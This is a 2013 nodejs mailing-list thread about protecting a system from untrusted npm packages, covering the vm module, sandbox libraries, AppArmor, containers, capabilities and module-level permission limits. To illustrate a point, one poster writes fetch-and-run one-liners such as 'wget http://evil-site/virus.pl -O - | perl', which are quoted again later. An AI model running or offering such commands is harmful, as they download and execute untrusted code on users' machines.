malware, virus etc in node.js... how to protect?

[ofencito]

Dear all,
I really like node.js. Great to have JS also in the command line.
Only worry I have is security.

there is for example this https://github.com/hacksparrow/virus

Let's us be honest. Once installed node.js we like to extend its utitlity, installing packages.
Not all we do a thorough code autid before. Consequently I am worried what would happen
if the "untrusted" code I run would do harm to my system.
This is already a concern in Browsers (and greatly motivates people to use NoScript etc.)

How have you guys managed to protect your system from node.js?
basically it should be somewhat protected (if run in linux) since you most likely run it your
user account. Better even you could run it as an unpriveliged user (suggestion 1).
Still I see much potential to provoke havoc and chaos....
with all its powers... node.js resamples an open door to the system (which it really actually
should be, with exception to untrusted code).

For those who know it. Do you have Apparmor profile that restricts the stuff that node.js
can do on your PC? if so can you share?
Do you run node.js in a virtual container/machine?
How to you protect your stuff in node.js form other stuff in node.js?

Thanks for your insights

[Alex Kocharin]

 

It has nothing to do with node.js.

 

And actually it is very simple:

 

1. Do not run untrusted code.

2. Do not use windows.

 

If you have to run something you don't trust, LXC is suggested. But again, it has nothing to do with node.js in particular, and it's true for almost all programs out there.

 

 

17.12.2013, 14:47, "ofencito" <alex...@gmail.com>:

--
--
Job Board: http://jobs.nodejs.org/
Posting guidelines: https://github.com/joyent/node/wiki/Mailing-List-Posting-Guidelines
You received this message because you are subscribed to the Google
Groups "nodejs" group.
To post to this group, send email to nod...@googlegroups.com
To unsubscribe from this group, send email to
nodejs+un...@googlegroups.com
For more options, visit this group at
http://groups.google.com/group/nodejs?hl=en?hl=en
 
---
You received this message because you are subscribed to the Google Groups "nodejs" group.
To unsubscribe from this group and stop receiving emails from it, send an email to nodejs+un...@googlegroups.com.
For more options, visit https://groups.google.com/groups/opt_out.

[Alexander]

Thank you for the reply.
Why security implications of running node.js are not related to node.js,
is hard to understand? (can you give reason)?

While I agree for other reasons maybe to your suggestions (i.e. I can
see reasons to not use Windows (which is really unrelated to node.js)

I am telling you, that it would be nice to have the chance to savely
run untrusted code.
For me that would be related a big deal to node.js because to savely
or "relatively more savely" run untrusted code would require to be
able to reduce the priveleges and access-rights and permissions of
what the untrusted code can do.
For example some code should not be able to touch "fs" kind of funcitons.
Such an sandboxing would have to happen inside node.js (that is why I ask
in this list).

Also there have been efforts (maybe they are good)

https://github.com/gf3/sandbox
(I think it generates a way to reduce the priviledges of untrusted code, by
spawing a child process which lacks access to global...). I am not sure
how it works
in detail (maybe somebody can tell). This could help with cases as
suggested in the
examples.js section.

There have been efforts
https://github.com/gf3/sandbox/blob/master/example/example.js

Some remarks still to the "Do not use windows". If meant Microsoft stuff
(window is
in Javascript context somewhat a ambigious term) then I can only suggest
that
Linux would not be much safer. Really linux distributions are overrated
in terms of savefty.
Just by running one would not suddenly reduce risks of running
untrursted code in
node.js.
Anyway with appArmor it can be done to limit node.js access. If there is
a profile
that would help everybody that runs node.js in Ubuntu systems. Which
like it or
not is a common linux distribution.

Thanks Alex

>> <mailto:nod...@googlegroups.com>

>> To unsubscribe from this group, send email to
>> nodejs+un...@googlegroups.com

>> <mailto:nodejs+un...@googlegroups.com>

>> For more options, visit this group at
>> http://groups.google.com/group/nodejs?hl=en?hl=en
>>
>> ---
>> You received this message because you are subscribed to the Google
>> Groups "nodejs" group.
>> To unsubscribe from this group and stop receiving emails from it,
>> send an email to nodejs+un...@googlegroups.com

>> <mailto:nodejs+un...@googlegroups.com>.

>> For more options, visit https://groups.google.com/groups/opt_out.

> --
> --
> Job Board: http://jobs.nodejs.org/
> Posting guidelines:
> https://github.com/joyent/node/wiki/Mailing-List-Posting-Guidelines
> You received this message because you are subscribed to the Google
> Groups "nodejs" group.
> To post to this group, send email to nod...@googlegroups.com
> To unsubscribe from this group, send email to
> nodejs+un...@googlegroups.com
> For more options, visit this group at
> http://groups.google.com/group/nodejs?hl=en?hl=en
>
> ---

> You received this message because you are subscribed to a topic in the
> Google Groups "nodejs" group.
> To unsubscribe from this topic, visit
> https://groups.google.com/d/topic/nodejs/Xp0CJxuJr2A/unsubscribe.
> To unsubscribe from this group and all its topics, send an email to

[Alex Kocharin]

17.12.2013, 15:07, "Alexander" <alex...@gmail.com>:

> Thank you for the reply.
> Why security implications of running node.js are not related to node.js,
> is hard to understand? (can you give reason)?

If you run "wget http://evil-site/virus.pl -O - | perl", is it related to perl? Is it a vulnerability in perl?

If you run "wget http://evil-site/virus.py -O - | python", is it related to python? Is it a vulnerability in python?

What happens if you run "wget http://evil-site/virus && ./virus"?

> While I agree for other reasons maybe to your suggestions (i.e. I can
> see reasons to not use Windows (which is really unrelated to node.js)
>
> I am telling you, that it would be nice to have the chance to savely
> run untrusted code.

As I said, you can do in a virtual machine.

> For me that would be related a big deal to node.js because to savely
> or "relatively more savely" run untrusted code would require to be
> able to reduce the priveleges and access-rights and permissions of
> what the untrusted code can do.
> For example some code should not be able to touch "fs" kind of funcitons.
> Such an sandboxing would have to happen inside node.js (that is why I ask
> in this list).

Oh well yeah, here is some helpful sandboxing stuff:
http://nodejs.org/api/vm.html

> Also there have been efforts (maybe they are good)
>
> https://github.com/gf3/sandbox
> (I think it generates a way to reduce the priviledges of untrusted code, by
> spawing a child process which lacks access to global...). I am not sure
> how it works
> in detail (maybe somebody can tell). This could help with cases as
> suggested in the
> examples.js section.

It forks node.js and creates a new empty context in the child process. Yes, that would work.

>
> There have been efforts
> https://github.com/gf3/sandbox/blob/master/example/example.js
>
> Some remarks still to the "Do not use windows". If meant Microsoft stuff
> (window is
> in Javascript context somewhat a ambigious term) then I can only suggest
> that
> Linux would not be much safer. Really linux distributions are overrated
> in terms of savefty.

In linux it is hard to work under root. In windows it's hard to NOT work under root. That's all there is.

I'm not even mentioning capabilities and containers.

> Just by running one would not suddenly reduce risks of running
> untrursted code in
> node.js.
> Anyway with appArmor it can be done to limit node.js access. If there is
> a profile
> that would help everybody that runs node.js in Ubuntu systems. Which
> like it or
> not is a common linux distribution.
>
> Thanks Alex
>
> On 12/17/2013 11:56 AM, Alex Kocharin wrote:
>

>> О©╫It has nothing to do with node.js.
>>
>> О©╫And actually it is very simple:
>>
>> О©╫1. Do not run untrusted code.
>> О©╫2. Do not use windows.
>>
>> О©╫If you have to run something you don't trust, LXC is suggested. But
>> О©╫again, it has nothing to do with node.js in particular, and it's true
>> О©╫for almost all programs out there.
>>
>> О©╫17.12.2013, 14:47, "ofencito" <alex...@gmail.com>:
>>> О©╫Dear all,
>>> О©╫I really like node.js. Great to have JS also in the command line.
>>> О©╫Only worry I have is security.
>>>
>>> О©╫there is for example this https://github.com/hacksparrow/virus
>>>
>>> О©╫Let's us be honest. Once installed node.js we like to extend its
>>> О©╫utitlity, installing packages.
>>> О©╫Not all we do a thorough code autid before. Consequently I am worried
>>> О©╫what would happen
>>> О©╫if the "untrusted" code I run would do harm to my system.
>>> О©╫This is already a concern in Browsers (and greatly motivates people
>>> О©╫to use NoScript etc.)
>>>
>>> О©╫How have you guys managed to protect your system from node.js?
>>> О©╫basically it should be somewhat protected (if run in linux) since you
>>> О©╫most likely run it your
>>> О©╫user account. Better even you could run it as an unpriveliged user
>>> О©╫(suggestion 1).
>>> О©╫Still I see much potential to provoke havoc and chaos....
>>> О©╫with all its powers... node.js resamples an open door to the system
>>> О©╫(which it really actually
>>> О©╫should be, with exception to untrusted code).
>>>
>>> О©╫For those who know it. Do you have Apparmor profile that restricts
>>> О©╫the stuff that node.js
>>> О©╫can do on your PC? if so can you share?
>>> О©╫Do you run node.js in a virtual container/machine?
>>> О©╫How to you protect your stuff in node.js form other stuff in node.js?
>>>
>>> О©╫Thanks for your insights
>>>
>>> О©╫--
>>> О©╫--
>>> О©╫Job Board: http://jobs.nodejs.org/
>>> О©╫Posting guidelines:
>>> О©╫https://github.com/joyent/node/wiki/Mailing-List-Posting-Guidelines
>>> О©╫You received this message because you are subscribed to the Google
>>> О©╫Groups "nodejs" group.
>>> О©╫To post to this group, send email to nod...@googlegroups.com
>>> О©╫<mailto:nod...@googlegroups.com>
>>> О©╫To unsubscribe from this group, send email to
>>> О©╫nodejs+un...@googlegroups.com
>>> О©╫<mailto:nodejs+un...@googlegroups.com>
>>> О©╫For more options, visit this group at
>>> О©╫http://groups.google.com/group/nodejs?hl=en?hl=en
>>>
>>> О©╫---
>>> О©╫You received this message because you are subscribed to the Google
>>> О©╫Groups "nodejs" group.
>>> О©╫To unsubscribe from this group and stop receiving emails from it,
>>> О©╫send an email to nodejs+un...@googlegroups.com
>>> О©╫<mailto:nodejs+un...@googlegroups.com>.
>>> О©╫For more options, visit https://groups.google.com/groups/opt_out.
>> О©╫--
>> О©╫--
>> О©╫Job Board: http://jobs.nodejs.org/
>> О©╫Posting guidelines:
>> О©╫https://github.com/joyent/node/wiki/Mailing-List-Posting-Guidelines
>> О©╫You received this message because you are subscribed to the Google
>> О©╫Groups "nodejs" group.
>> О©╫To post to this group, send email to nod...@googlegroups.com
>> О©╫To unsubscribe from this group, send email to
>> О©╫nodejs+un...@googlegroups.com
>> О©╫For more options, visit this group at
>> О©╫http://groups.google.com/group/nodejs?hl=en?hl=en
>>
>> О©╫---
>> О©╫You received this message because you are subscribed to a topic in the
>> О©╫Google Groups "nodejs" group.
>> О©╫To unsubscribe from this topic, visit
>> О©╫https://groups.google.com/d/topic/nodejs/Xp0CJxuJr2A/unsubscribe.
>> О©╫To unsubscribe from this group and all its topics, send an email to
>> О©╫nodejs+un...@googlegroups.com.
>> О©╫For more options, visit https://groups.google.com/groups/opt_out.

>
> --
> --
> Job Board: http://jobs.nodejs.org/
> Posting guidelines: https://github.com/joyent/node/wiki/Mailing-List-Posting-Guidelines
> You received this message because you are subscribed to the Google
> Groups "nodejs" group.
> To post to this group, send email to nod...@googlegroups.com
> To unsubscribe from this group, send email to
> nodejs+un...@googlegroups.com
> For more options, visit this group at
> http://groups.google.com/group/nodejs?hl=en?hl=en
>
> ---

> You received this message because you are subscribed to the Google Groups "nodejs" group.

> To unsubscribe from this group and stop receiving emails from it, send an email to nodejs+un...@googlegroups.com.

[Alexander]

On 12/17/2013 12:23 PM, Alex Kocharin wrote:
> 17.12.2013, 15:07, "Alexander" <alex...@gmail.com>:
>> Thank you for the reply.
>> Why security implications of running node.js are not related to node.js,
>> is hard to understand? (can you give reason)?
> If you run "wget http://evil-site/virus.pl -O - | perl", is it related to perl? Is it a vulnerability in perl?
>
> If you run "wget http://evil-site/virus.py -O - | python", is it related to python? Is it a vulnerability in python?

Agreed that stupidity is not tightly linked to any scripting system.
But consider that while it is plain stupid to do such a risky as
(evil-site) is
outrightly marked as "not safe". It would be possible that you have
evil stuff also in any npm installed (but not revised or sufficiently
well group
autited software).
I can maybe say, it is easy to avoid above (and then, yes then it is not
really
that much of a node.js internal matter). Still as suggested there might be
more problematic and less esacpable untrusted code cases.
I imagine in those cases much would be gained by for instance agreeing
that node.js internal stuff (as for instance priveledge limiting for some
code parts, would be helpful to make the use of untrusted code less risky).
In an ideal world, you are totally right, every code would be then simply
revised, autided etc. There was not NSA, not bad guys etc.
I argue that while we have not yet entered this perfect world,
where I can (a) avoid using untrusted code and (b) have enough time
to make it trusted etc. While not there.... it would be interesting (for
node.js
for example.. to have some form of nested priviledge structure "possible").
In a way of speaking currently running node.js might quickly resample
running windows XP as admin (you can pretty much do everything and
by this harm everything). Do we need this? no it would be fine for
many "untrusted code"-things to have limited access. This would then
resample a more "linux" / "unix" (good world (TM)) approach where
stuff is not necessarily put at risk because not everything is root.

So I want to express that I get your frustration of the topic. I share it.
But I want to make clear that my question is really meant well and that
I did surely not mean to target those (plain stupidity cases you made up so
quickly). Since I reckon you are smart (just look at the speedy way of
you to come up responses) I am certain you can (also by the previously
cited attempts to improvemen "sandboxing") see the purpose of my
question.
To rule out misunderstanding. I do not want to say "node.js" would be
bad, just because it is able to use it "plain stupidity"-wise. I want to
look
if there is an way to make node.js run untrustuted code safer.
And as a second layer of defense (because that is what tin-foil avantguarde
is doing) I ask for a way to further secure my system from node.js itself.

>
> What happens if you run "wget http://evil-site/virus && ./virus"?

;) well, then I get a birthday present (as promised on http://evil-site)

>
>
>> While I agree for other reasons maybe to your suggestions (i.e. I can
>> see reasons to not use Windows (which is really unrelated to node.js)
>>
>> I am telling you, that it would be nice to have the chance to savely
>> run untrusted code.
> As I said, you can do in a virtual machine.

This would be a third layer of defense. Considering bluepill I am not
willing to resort to allowing virtualisation in the first place. Still might
work for many. Thanks for the suggestion

>
>
>> For me that would be related a big deal to node.js because to savely
>> or "relatively more savely" run untrusted code would require to be
>> able to reduce the priveleges and access-rights and permissions of
>> what the untrusted code can do.
>> For example some code should not be able to touch "fs" kind of funcitons.
>> Such an sandboxing would have to happen inside node.js (that is why I ask
>> in this list).
> Oh well yeah, here is some helpful sandboxing stuff:
> http://nodejs.org/api/vm.html

gonna have a look

>
>> Also there have been efforts (maybe they are good)
>>
>> https://github.com/gf3/sandbox
>> (I think it generates a way to reduce the priviledges of untrusted code, by
>> spawing a child process which lacks access to global...). I am not sure
>> how it works
>> in detail (maybe somebody can tell). This could help with cases as
>> suggested in the
>> examples.js section.
> It forks node.js and creates a new empty context in the child process. Yes, that would work.

Well that sounds really pretty nice. Wonder if there is a "way-back" aka
"breakout"
possible still.
Also the sandboxing might bring the challlange to break much stuff and
render
the sandboxed code impossible to run. While it should only limit the
potential
harmful consequences of the untrusted code. I guess this is a dilemma like
trade off though :)

>
>> There have been efforts
>> https://github.com/gf3/sandbox/blob/master/example/example.js
>>
>> Some remarks still to the "Do not use windows". If meant Microsoft stuff
>> (window is
>> in Javascript context somewhat a ambigious term) then I can only suggest
>> that
>> Linux would not be much safer. Really linux distributions are overrated
>> in terms of savefty.
> In linux it is hard to work under root. In windows it's hard to NOT work under root. That's all there is.

I like windows. Makes me feel so much happier to have linux, honestly.
Bad that I gain joy by seeing stupidity of others. .. Still
to keep it honest. I think XP has long passed and Windows 7 can already
be run
safer and less root involved, eh?
On the other hand how should linux world find out? switch back to windows?

>
> I'm not even mentioning capabilities and containers.

Give glue what would that be?

[Alex Kocharin]

Hmm... it might be a good idea actually, to limit how a certain library can interface with the core.

For example, if I'm looking at "request", I think that it doesn't need to access "fs" module anywhere (including all it's dependencies, but except for require calls). If I'm looking at some validation library, it obviously don't need to access any core modules at all.

Of course binary modules will avoid all that 'cause they can do anything. There are a lot of fishy stuff in "process" everybody can change. But other than that, yep, something interesting can be done here.

I mean, capabilities at the module level, not application level (apparmor can do that).

Does it make sense, anyone? Or javascript is just too dynamic for any of this to work, and it's a performance nightmare to freeze everything?


17.12.2013, 15:46, "Alexander" <alex...@gmail.com>:

> On 12/17/2013 12:23 PM, Alex Kocharin wrote:
>

>> О©╫17.12.2013, 15:07, "Alexander" <alex...@gmail.com>:
>>> О©╫Thank you for the reply.
>>> О©╫Why security implications of running node.js are not related to node.js,
>>> О©╫is hard to understand? (can you give reason)?
>> О©╫If you run "wget http://evil-site/virus.pl -O - | perl", is it related to perl? Is it a vulnerability in perl?
>>
>> О©╫If you run "wget http://evil-site/virus.py -O - | python", is it related to python? Is it a vulnerability in python?

>> О©╫What happens if you run "wget http://evil-site/virus && ./virus"?

>
> ;) well, then I get a birthday present (as promised on http://evil-site)
>

>>> О©╫While I agree for other reasons maybe to your suggestions (i.e. I can
>>> О©╫see reasons to not use Windows (which is really unrelated to node.js)
>>>
>>> О©╫I am telling you, that it would be nice to have the chance to savely
>>> О©╫run untrusted code.
>> О©╫As I said, you can do in a virtual machine.

>
> This would be a third layer of defense. Considering bluepill I am not
> willing to resort to allowing virtualisation in the first place. Still might
> work for many. Thanks for the suggestion
>

>>> О©╫For me that would be related a big deal to node.js because to savely
>>> О©╫or "relatively more savely" run untrusted code would require to be
>>> О©╫able to reduce the priveleges and access-rights and permissions of
>>> О©╫what the untrusted code can do.
>>> О©╫For example some code should not be able to touch "fs" kind of funcitons.
>>> О©╫Such an sandboxing would have to happen inside node.js (that is why I ask
>>> О©╫in this list).
>> О©╫Oh well yeah, here is some helpful sandboxing stuff:
>> О©╫http://nodejs.org/api/vm.html
>
> gonna have a look
>
>>> О©╫Also there have been efforts (maybe they are good)
>>>
>>> О©╫https://github.com/gf3/sandbox
>>> О©╫(I think it generates a way to reduce the priviledges of untrusted code, by
>>> О©╫spawing a child process which lacks access to global...). I am not sure
>>> О©╫how it works
>>> О©╫in detail (maybe somebody can tell). This could help with cases as
>>> О©╫suggested in the
>>> О©╫examples.js section.
>> О©╫It forks node.js and creates a new empty context in the child process. Yes, that would work.

>
> Well that sounds really pretty nice. Wonder if there is a "way-back" aka
> "breakout"
> possible still.
> Also the sandboxing might bring the challlange to break much stuff and
> render
> the sandboxed code impossible to run. While it should only limit the
> potential
> harmful consequences of the untrusted code. I guess this is a dilemma like
> trade off though :)
>

>>> О©╫There have been efforts
>>> О©╫https://github.com/gf3/sandbox/blob/master/example/example.js
>>>
>>> О©╫Some remarks still to the "Do not use windows". If meant Microsoft stuff
>>> О©╫(window is
>>> О©╫in Javascript context somewhat a ambigious term) then I can only suggest
>>> О©╫that
>>> О©╫Linux would not be much safer. Really linux distributions are overrated
>>> О©╫in terms of savefty.
>> О©╫In linux it is hard to work under root. In windows it's hard to NOT work under root. That's all there is.

>
> I like windows. Makes me feel so much happier to have linux, honestly.
> Bad that I gain joy by seeing stupidity of others. .. Still
> to keep it honest. I think XP has long passed and Windows 7 can already
> be run
> safer and less root involved, eh?
> On the other hand how should linux world find out? switch back to windows?
>

>> О©╫I'm not even mentioning capabilities and containers.

>
> Give glue what would that be?
>

[Alexander]

On 12/17/2013 01:24 PM, Alex Kocharin wrote:
> Hmm... it might be a good idea actually, to limit how a certain library can interface with the core.
>
> For example, if I'm looking at "request", I think that it doesn't need to access "fs" module anywhere (including all it's dependencies, but except for require calls). If I'm looking at some validation library, it obviously don't need to access any core modules at all.
>
> Of course binary modules will avoid all that 'cause they can do anything. There are a lot of fishy stuff in "process" everybody can change. But other than that, yep, something interesting can be done here.
>
> I mean, capabilities at the module level, not application level (apparmor can do that).
>
> Does it make sense, anyone?

Much of what has been suggested above makes sense to me. yes!
I think it would align with the
http://en.wikipedia.org/wiki/Principle_of_least_privilege to do
as suggested and limit a module to some capabilities it actually needs
(for its supposed task).
This way it would stand out and be more apparent. If for instance a
sorting allgorithm
needs fs. writing priviledges this would seem odd, right?

> Or javascript is just too dynamic for any of this to work, and it's a performance nightmare to freeze everything?

There might be costs involved.
a) those cost to defined which stuff a module needs (so that it can be
granted those things,
without much effort. )
b) also some very little overhead cost of the to restrict the priviledes
before before consuming
the module. Via closure it should be possible to keep stuff separated..
(sadly it might also provoke
the opposite).

I am optimistic it would not generate a perfomance nightmare necessarily.
Since for instance functions in JS are already unaware of much stuff
there seems to be a chance
to clear capablities from global access and have it only handed to those
module/code parts which
require it and hence have them inside their closure scope.

Actually I think its because Javascript is so dynamic, that I am
optimistic that some
priviledge dropping mechanism can be engineered

[Stefan Klein]

Afaik mockery (https://github.com/mfncooper/mockery#registering-allowable-modules) overwrites "require" to warn on non-allowed modules.

[Alexander]

Nice :)
So indeed there is more to controlling imported code parts than only
virus/malware related issue.
Granted that I am blissfully unacquainted with the cocept of "mock", I
think the suggested
tool is more focused on loading the right things.
Might be that this is helpful for avoiding untrusted code comletely,
more than restricting
the privileges. Still I think this threat has been encriched by this
idea, thank you Stefan.

The approach to overwrite require seems something a sandboxing scheme
might adopt, since
after all using require is imho much more real-life case as compared to
the one which
https://github.com/gf3/sandbox helps with, which is of this form of a
string-js-code-argument:

// Example 1 - Standard JS
s.run( "1 + 1", function( output ) {
console.log( "Example 1: " + output.result + "\n" )
}) where the untrusted code would be the "1 + 1" (granted some very
scary code nonetheless ;)

[Alex Kocharin]

>> О©╫What happens if you run "wget http://evil-site/virus && ./virus"?

>
> ;) well, then I get a birthday present (as promised on http://evil-site)

No, you won't, because I forgot "chmod +x". Unless you're on Windows, which doesn't care about security much. :)

> This would be a third layer of defense. Considering bluepill I am not
> willing to resort to allowing virtualisation in the first place.

Why?

> Well that sounds really pretty nice. Wonder if there is a "way-back" aka
> "breakout" possible still.

As far as I know, breakout is not possible if you're using vm module.

But this code can still do "while(1);", in which case separate process will be required, and that's what sandbox module does.

> I like windows. Makes me feel so much happier to have linux, honestly.
> Bad that I gain joy by seeing stupidity of others. .. Still
> to keep it honest. I think XP has long passed and Windows 7 can already
> be run safer and less root involved, eh?
> On the other hand how should linux world find out? switch back to windows?

Or just reboot into it. Happens quite frequently, because windows still have plenty of games runnable under it, which is frankly speaking the only thing it is good for.

But it's not really an issue with windows. It's about programs that require superuser rights. Under gnu/linux it's common for applications to run under least possible rights. If you run chromium under root in gnu/linux, it'll simply refuse to start. But if you start windows, a fair bit of programs you try to install will require admin rights.

It's not only a windows issue, look at the android, every single application you're installing will require an access to network and sms stuff. Same thing.

By the way, windows XP is beautiful. It's modern enough to run most of the applications it needs to, but it doesn't eat resources like crazy. For this reason it is also very secure if you don't keep any private data in the same virtualbox container where xp is running. :)


>> О©╫I'm not even mentioning capabilities and containers.

> Give glue what would that be?

First one is a way of dividing root privileges. For example, ping/wireshark might need an access to network, but they don't need an access to write system files. So you can allow them some root actions, but not others.

Second one is a way to run a separate GNU/Linux OS on the same kernel without any additional resources. This way if some silly application does need full access to the system, it'll get it, but the system itself will be very much isolated from anything else.

[Alexander]

On 12/17/2013 03:14 PM, Alex Kocharin wrote:
>>> What happens if you run "wget http://evil-site/virus && ./virus"?
>> ;) well, then I get a birthday present (as promised on http://evil-site)
> No, you won't, because I forgot "chmod +x". Unless you're on Windows, which doesn't care about security much. :)
>

Too much of pitty. Considering my box already hacked by BND, NSA, Mosad etc
you might have been one of the more agreeable and funny backdoors in my
system.
Can't you update your present, pls :)

>> This would be a third layer of defense. Considering bluepill I am not
>> willing to resort to allowing virtualisation in the first place.
> Why?

rootkit done right!!

http://theinvisiblethings.blogspot.de/2006/06/introducing-blue-pill.html
Blue pill concept would be the best next to have a hack in the CPUs firmware
http://security.stackexchange.com/questions/40257/backdoors-in-hardware-ie-intel-amd-cpu-possible
http://blogs.vmware.com/vmtn/2007/08/i-spy-a-blue-pi.html

>
>> Well that sounds really pretty nice. Wonder if there is a "way-back" aka
>> "breakout" possible still.
> As far as I know, breakout is not possible if you're using vm module.
>
> But this code can still do "while(1);", in which case separate process will be required, and that's what sandbox module does.

Sure I will look into this vm module. Its something inside node.js, not
related to cpu/system virtualisation, but rather a node.js thing, right?

>
>
>> I like windows. Makes me feel so much happier to have linux, honestly.
>> Bad that I gain joy by seeing stupidity of others. .. Still
>> to keep it honest. I think XP has long passed and Windows 7 can already
>> be run safer and less root involved, eh?
>> On the other hand how should linux world find out? switch back to windows?
> Or just reboot into it. Happens quite frequently, because windows still have plenty of games runnable under it, which is frankly speaking the only thing it is good for.
>
> But it's not really an issue with windows. It's about programs that require superuser rights. Under gnu/linux it's common for applications to run under least possible rights. If you run chromium under root in gnu/linux, it'll simply refuse to start. But if you start windows, a fair bit of programs you try to install will require admin rights.
>
> It's not only a windows issue, look at the android, every single application you're installing will require an access to network and sms stuff. Same thing.
>
> By the way, windows XP is beautiful. It's modern enough to run most of the applications it needs to, but it doesn't eat resources like crazy. For this reason it is also very secure if you don't keep any private data in the same virtualbox container where xp is running. :)
>
>

>>> I'm not even mentioning capabilities and containers.
>> Give glue what would that be?
> First one is a way of dividing root privileges. For example, ping/wireshark might need an access to network, but they don't need an access to write system files. So you can allow them some root actions, but not others.
>
> Second one is a way to run a separate GNU/Linux OS on the same kernel without any additional resources. This way if some silly application does need full access to the system, it'll get it, but the system itself will be very much isolated from anything else.
>

Also will have a look into this, thank you

[Tim Caswell]

The node.js security model is very simple.  All npm modules you install on your system and require are assumed to be safe and trusted code.  Don't require modules you don't trust!

If you want to write an app that requires running untrusted user generated code in a sandbox, then there are many options with varying levels of security.  My personal favorite is to not trust myself to think I can do in-process sandboxing properly.  I use OS users, filesystem permissions, chroots, cgroups, containers, etc.  Basically I use the generic sandboxing capabilities of the host OS that have gone through extensive security audits.  Even those aren't perfect, but they are much safer than anything you could do in-process.

Also there are many cases that you are writing a web app and can run the user-code in the user's browser instead of server-side in node.  WebWorkers provide a great way to run arbitrary user code and get proper error reporting without risk of it ever touching your server and not even blocking the UI thread in the browser app.